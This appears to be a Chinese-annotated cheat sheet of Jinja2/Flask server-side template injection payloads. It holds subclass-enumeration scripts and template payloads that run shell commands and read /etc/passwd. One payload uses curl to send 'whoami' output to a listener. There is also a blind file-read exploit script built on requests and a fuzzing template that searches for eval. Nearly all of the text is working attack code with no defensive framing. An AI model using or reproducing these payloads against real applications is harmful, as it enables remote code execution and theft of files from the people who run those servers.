#!/usr/bin/env python # encoding: utf-8 num = 0 for item in ''.__class__.__mro__[-1].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1
{(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls'))()}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#!/usr/bin/env python # encoding: utf-8 for item in ().__class__.__bases__[0].__subclasses__(): try: if 'system' in item.__init__.__globals__: print('system',num,item) if 'sys' in item.__init__.__globals__: print('sys',num,item) if '__builtins__' in item.__init__.__globals__: print('__builtins__',num,item) num+=1 except: print '-' num+=1
Jinja2的for循环处理
1 2 3
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr' %}{{ c.__init__.__globals__['__builtins__']['open']('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}{% endif %}{% endfor %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
文件盲注
1
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/aa').read()[0:1]=='f' %}~ok~{% endif %}
exp如下:
1 2 3 4 5 6 7 8 9 10 11
import requests url="http://127.0.0.1:5000?name=" flag='' for i in range(32): for j in range(33,127): payload="{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/lihuaiqiu').read()["+str(i)+":"+str(i+1)+"]=='"+chr(j)+"' %}~ok~{% endif %}" true_url=url+payload r=requests.get(true_url) if 'ok' in r.text: flag+=chr(j) print flag
{% for c in ''.__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='Quitter' %}{{ c.__init__.__globals__['os'].system('ls') }}{% endif %}{% endfor %}
{% for c in ''.__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['linecache'].os.system('ls') }}{% endif %}{% endfor %}
{% for c in ''.__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['file']('/etc/passwd').read() }}{% endif %}{% endfor %}
Python 3.7
1 2 3 4 5
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{{ c.__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{{ c.__init__.__globals__["sys"].modules["os"].system("ls") }}{% endif %}{% endfor %}
{% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{{ c.__init__.__globals__['system']('ls') }}{% endif %}{% endfor %}
fuzz脚本
1 2 3 4 5 6 7 8 9 10 11
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数 {% if 'eval' in b.keys() %} //找到了 {{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据 {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}